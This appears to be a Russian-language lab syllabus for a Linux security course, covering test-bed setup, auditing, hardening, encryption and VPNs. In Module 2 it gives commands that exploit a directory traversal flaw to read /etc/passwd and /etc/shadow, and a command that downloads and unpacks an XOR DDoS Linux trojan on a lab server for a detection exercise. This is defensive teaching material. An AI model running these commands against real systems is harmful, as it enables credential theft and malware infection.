Table of Contents

Обеспечение безопасности Linux решений

Программа курса

Модуль 0. Подготовка стенда в классе

Модуль 1. Развертывание сети и сервисов предприятия

Теория

Лабораторные работы

Сценарий: 172.16.1.0/24 - WAN сеть, 192.168.X/24 - “белая” DMZ сеть, 192.168.100+X - “серая” LAN сеть

1.1 Настройка систем gate, lan и server

Запустите с правами Administrator

C:\cmder\cmder.exe

bash

cd

test -d conf && rm -r conf

git clone http://val.bmstu.ru/unix/conf.git

cd conf/virtualbox/

!!! 3 - это номер курса, вместо X укажите Ваш номер стенда, если не знаете его, спросите преподавателя !!!

./setup.sh X 3

Клонируем server в lan

Настраиваем gate

gate# ifconfig eth2 inet 192.168.100+X.1/24 
gate# sh net_gate.sh

gate# cat /etc/network/interfaces
...
auto eth2
iface eth2 inet static
        address 192.168.100+X.1
        netmask 255.255.255.0
gate# init 6
gate# apt update

Настраиваем lan

lan# ifconfig eth0 inet 192.168.100+X.10/24 
lan# sh net_server.sh

lan# hostnamectl set-hostname lan.corpX.un

lan# cat /etc/network/interfaces
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
        address 192.168.100+X.10
        netmask 255.255.255.0
        gateway 192.168.100+X.1
lan# init 6

Настраиваем server

server# sh net_server.sh

server# init 6

1.2 Подключение сети предприятия к Internet

lan# apt update

1.3 План размещения сервисов в сети предприятия

Сервис DNS

server# sh conf/dns.sh

lan# cat /etc/resolv.conf
search corpX.un
nameserver 192.168.X.10
lan# ssh-copy-id server
lan# ssh-copy-id gate

lan# scp /etc/resolv.conf server:/etc/
lan# scp /etc/resolv.conf gate:/etc/

Сервис EMAIL

Будет развернут на системе server

Сервис DHCP

Разворачиваем на системе gate в сети LAN

Сервис CIFS

Будет развернут на системе lan

Сервис HTTP

Сценарий: внешний корпоративный сайт на server

Модуль 2. Анализ информационных систем предприятия с точки зрения безопасности

Теория

Лабораторные работы

2.1 Внешний аудит систем

Сценарий: сканирование портов сервисов системы server (с lan или gate.isp.un по ip адресу), находим web сервер

Сценарий: автоматизированный поиск уязвимостей, находим “directory traversal”

Сценарий: эксплуатируем найденную уязвимость “directory traversal”

lan# curl --path-as-is http://192.168.X.10/../../../etc/passwd

gate.isp.un$ fetch -o - http://192.168.X.10/../../../etc/passwd

gate.isp.un$ telnet 192.168.X.10 80
GET /../../../etc/passwd HTTP/1.1

Сценарий: Brute force-атака по известным login

2.2 Внутренний аудит систем

Проверка стойкости паролей

lan# curl --path-as-is http://192.168.X.10/../../../etc/shadow | tee shadow

Проверка целостности системы

Сценарий: находим модифицированное ПО (можно изменить код web сервера)

Проверка системы на наличие закладок

server# cd /

server# wget http://gate.isp.un/unix/xor_ddos_linux_trojan.tgz

server# tar -xvzf xor_ddos_linux_trojan.tgz

Аудит системных событий

Сценарий: фиксируем обращения к файлам базы данных учетных записей со стороны процессов с EUID=user1/student. Можно тестировать из shell или запустить www сервер на server с правами user1/student

Модуль 3. Защита систем предприятия

Теория

Лабораторные работы

3.1 Обновление систем

3.2 Управление привилегиями

Система безопасности UNIX

Сценарий: Запуск www сервера с правами пользователя user1/student не позволит получить через него доступ к /etc/shadow

Списки контроля доступа

Сценарий: с помощью POSIX ACL запрещаем пользователю user1 читать файл /etc/passwd

Расширенные атрибуты

Переменные ядра

3.3 Изоляция сервисов

Модули Linux LSM

Сценарий: ограничения, накладываемые политиками на www сервер на server не позволят получить через него доступ к любым файлам, кроме разрешенных даже в случае запуска его с правами root

Изоляция сервисов в файловой системе

Сценарий: запуск www сервера на server в chroot позволит получить через него доступ только к файлам, которые мы скопировали в chroot окружение

Изоляция сервисов в выделенном окружении

Сценарий: переносим www хостинг в контейнер

server# systemctl stop inetutils-inetd && systemctl disable inetutils-inetd
server# cat /etc/bind/corpX.un
...
@ ...
...
          A       192.168.X.20
          MX 1    server
...
www       A       192.168.X.20
server# service named restart
server# cat /etc/bind/corpX.un
...
lan       A       192.168.100+X.10
server# service named restart

lan# rsync -avz server:/var/www/ /var/www/

3.4 Усиление системы с помощью специальных средств

Модуль 4. Защита сервисов предприятия

Теория

Лабораторные работы

4.1 Ограничения учетных записей пользователей сервисов

Демонстрирует преподаватель

Сценарий: разворачиваем на server, MTA для домена corpX.un, IMAP без SSL. Учетные записи почтовых пользователей не должны иметь shell, предоставляющий доступ к командной строке

server# apt install ansible

server# ansible-playbook conf/ansible/roles/mail.yml

4.2 Скрытие баннеров сервисов

Сценарий: заменяем банеры сервисов SMTP, IMAP, FTP, HTTP, CIFS, SSH

gate# curl -I http://www.corpX.un/

4.3 Замена устаревших сервисов

Сценарий: перехват учетных данных при подключении пользователей по протоколу ftp для загрузки информации в каталог public_html на server и замена его на sftp

4.4 Шифрование трафика

Подготовка стенда

Использование самоподписанных цифровых сертификатов

Демонстрирует преподаватель

Сценарий: замена сервиса HTTP на HTTPS на www

Использование PKI

Сценарий:

  1. развертывание корпоративного CA (на lan)
  2. замена HTTP на HTTPS (на www)
  3. в client-ах добавляем сертификат CA в корневые центры сертификации
lan# rm /var/www/html/index.html

Дополнительные задания:

  1. HTTPS доступ к приложению webd (можно gowebd) через nginx на gate
  2. замена IMAP на IMAPS (на server)
server# cat /etc/bind/corpX.un
...
gowebd       A       192.168.X.1
server# service named restart
lan# scp wild.key gate:gowebd.key; scp wild.crt gate:gowebd.crt
lan# scp wild.key server:server.key; scp wild.crt server:server.crt

Дополнительные задания:

4.5 Аутентификация и Авторизация доступа к сервису

Задание: Настройка почтового сервера на отправку почты пользователям других постовых доменов из почтовых клиентов на основании аутентификации

Задание: использование пользовательских сертификатов

lan.corpX.un:~# cp -v user*crt /var/www/html/
lan# cp -v user* /disk2/samba/

lan# cp /var/www/html/ca* /disk2/samba/

lan# chown -v games /disk2/samba/*

Сценарий: использование пользовательских сертификатов для PEM :)

Сценарий: использование пользовательских сертификатов для аутентификации и авторизации доступа к сайту www

lan# curl --cert user1.crt --key user1.key --cacert /var/www/html/ca.crt https://www.corpX.un/cgi-bin/test-cgi

4.6 Ограничение доступа к сетевым сервисам

Статичное, с использованием специальных средств

Сценарий: разрешаем SSH подключение к www только из LAN

Статичное, с использованием средств встроенных в сервис

Адаптивное, с использование специальных средств

4.7 Шифрование контента

Сценарий: размещаем данные на шифрованном разделе для lan сервиса SAMBA (сетевой диск с двойным дном:)

4.8 Специальные решения

Сценарий: защита LAN от посторонних сервисов DHCP

Модуль 5. Защита сети предприятия

Теория

Лабораторные работы

5.1 Пакетные фильтры

Сценарий: защита http сервиса на server от DDOS

5.2 Системы IDS и IPS

Сценарий: Honeypot на gate

Сценарий: блокируем атаки на SSH сервис на на server

Модуль 6. Использование VPN для соединения сетей филиалов предприятия и удаленных пользователей

Теория

Лабораторные работы

6.1 Использование сервиса SSH

SSH вместо VPN (привязка к порту клиента)

Сценарий: подключаемся с “домашнего” компьютера по RDP к компьютеру в LAN сети предприятия через “рабочую” linux систему, с которой есть доступ в LAN

Реализация: Отключаем на host системе VirtualBox Host-Only Network адаптер и, используя доступность сети LAN с server, осуществляем доступ по RDP к системе client1 через учетную запись user1 системы server

SSH вместо VPN (привязка к порту сервера)

Сценарий: подключаемся с “домашнего” компьютера по RDP или SSH к компьютеру в LAN сети предприятия, через “внешнюю” linux систему, к которой “заранее” установлено SSH соединение из LAN

Реализация: отключаем доступность сети LAN “отовсюду”, считаем server - “внешним” ресурсом (например VPS), осуществляем доступ по RDP к client1 или SSH к lan через туннель в SSH соединении к server, установленном с client1 или lan

6.2 Пакет OpenVPN

Сценарий: требуется предоставить авторизованный доступ пользователей, работающих на ноутбуках и ездящих в командировки, к любым сервисам в сети LAN компании, например - CIFS

lan# scp /etc/ssl/openssl.cnf gate:/etc/ssl/

lan# scp /var/www/html/ca.crt gate:

lan# scp /var/www/html/ca.crl gate:

Сценарий: требуется объединить сети филиалов (обсудить)

Вопросы

Дополнительные материалы